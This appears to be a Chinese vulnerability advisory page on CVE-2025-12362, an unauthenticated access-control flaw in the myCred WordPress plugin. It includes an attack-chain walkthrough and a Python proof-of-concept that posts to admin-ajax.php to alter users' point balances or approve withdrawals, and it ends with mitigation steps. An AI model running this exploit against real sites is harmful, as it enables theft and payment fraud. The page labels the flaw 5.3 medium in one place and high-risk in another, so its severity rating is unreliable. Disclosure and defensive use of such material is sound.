IPBUF安全漏洞报告
English
CVE-2025-12362 CVSS 5.3 中危

CVE-2025-12362 myCred WordPress插件缺少授权漏洞

披露日期: 2025-12-13

漏洞信息

漏洞编号
CVE-2025-12362
漏洞类型
缺少授权
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
myCred – Points Management System For Gamification, Ranks, Badges, and Loyalty Program plugin for WordPress

相关标签

缺少授权WordPress插件myCred积分系统Broken Access ControlAJAX漏洞CVE-2025-12362

漏洞概述

CVE-2025-12362是WordPress平台myCred积分管理系统插件的一个高危安全漏洞。该插件是一款流行的积分管理、排行榜、徽章和忠诚度计划解决方案,被广泛应用于WordPress网站以实现用户积分奖励机制。漏洞源于插件在处理AJAX请求时未能正确验证用户授权状态,特别是通过cashcred_pay_now AJAX操作进行的操作。攻击者可以利用此漏洞在无需任何认证的情况下,批准他人的提现请求、非法修改用户积分余额、以及操纵支付处理系统。这不仅会导致直接的经济损失,还可能破坏网站的信誉和用户信任。由于该插件在WordPress生态中拥有大量活跃安装,此漏洞影响范围广泛,潜在风险包括用户资产被盗、积分系统被滥用、以及支付欺诈等安全问题。

技术细节

该漏洞属于典型的Broken Access Control(访问控制失效)漏洞。问题核心在于myCred插件的cashcred_pay_now AJAX动作处理函数缺少权限检查。正常情况下,批准提现请求和修改用户余额应该需要管理员或特定权限的操作员才能执行,但插件开发者疏忽了对current_user_can()或类似权限验证函数的调用。攻击者只需构造特定的AJAX请求,指定目标用户ID和操作参数,即可绕过授权检查执行敏感操作。具体来说,攻击者可以调用wp-admin/admin-ajax.php接口,以action=cashcred_pay_now参数,配合user_id、amount等字段,在未登录或以任意低权限用户身份的情况下完成提现批准和余额修改操作。漏洞代码位于插件的cash-creds模块中(见参考链接中的源码位置),该模块在处理支付请求时直接执行数据库更新操作而未进行权限校验。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者确认目标网站使用WordPress且安装了myCred插件(版本<=2.9.7),通过检查/wp-content/plugins/mycred/目录或查看页面源码确认插件存在
STEP 2
步骤2: 构造恶意请求
攻击者构造针对wp-admin/admin-ajax.php的POST请求,设置action参数为cashcred_pay_now,并指定目标user_id和要操作的points数量
STEP 3
步骤3: 绕过授权检查
由于插件未调用current_user_can()验证用户权限,攻击者可以以未认证身份(无需cookies或会话)发送请求,直接到达业务逻辑处理函数
STEP 4
步骤4: 执行未授权操作
插件直接执行数据库操作,更新指定用户的积分余额或批准提现请求,攻击者成功修改他人账户数据
STEP 5
步骤5: 重复利用
攻击者可批量操作多个用户账户,或重复提交提现请求造成持续经济损失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-12362 PoC - myCred WordPress Plugin Missing Authorization This PoC demonstrates the unauthorized modification of user point balances via the cashcred_pay_now AJAX action. """ import requests import sys TARGET_URL = "http://target-wordpress-site.com" TARGET_USER_ID = 1 # Target user ID to modify POINTS_TO_ADD = 1000 # Amount of points to add def exploit_missing_authorization(): """ Exploit the missing authorization vulnerability in myCred plugin. This allows unauthenticated users to modify point balances. """ # Construct the AJAX endpoint ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Prepare the malicious request data data = { 'action': 'cashcred_pay_now', 'user_id': TARGET_USER_ID, 'amount': POINTS_TO_ADD, 'type': 'add', # or 'deduct' depending on desired action 'ctype': 'mycred_default' } print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Exploiting CVE-2025-12362: Missing Authorization in myCred") print(f"[*] Target User ID: {TARGET_USER_ID}") print(f"[*] Points to modify: {POINTS_TO_ADD}") try: # Send the request without authentication response = requests.post(ajax_url, data=data, timeout=30) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[*] Response: {response.text[:200]}") print("[!] Vulnerability may be present - verify point balance in WordPress admin") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit_missing_authorization()

影响范围

myCred plugin for WordPress <= 2.9.7

防御指南

临时缓解措施
在官方补丁发布前,可临时采取以下措施:1) 限制未登录用户对wp-admin/admin-ajax.php的访问;2) 使用WAF规则拦截包含cashcred_pay_now参数的异常请求;3) 禁用现金充值功能或设置每日操作限额;4) 启用WordPress的日志审计功能,监控异常的积分操作行为;5) 考虑暂时禁用myCred插件的cashcred模块。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表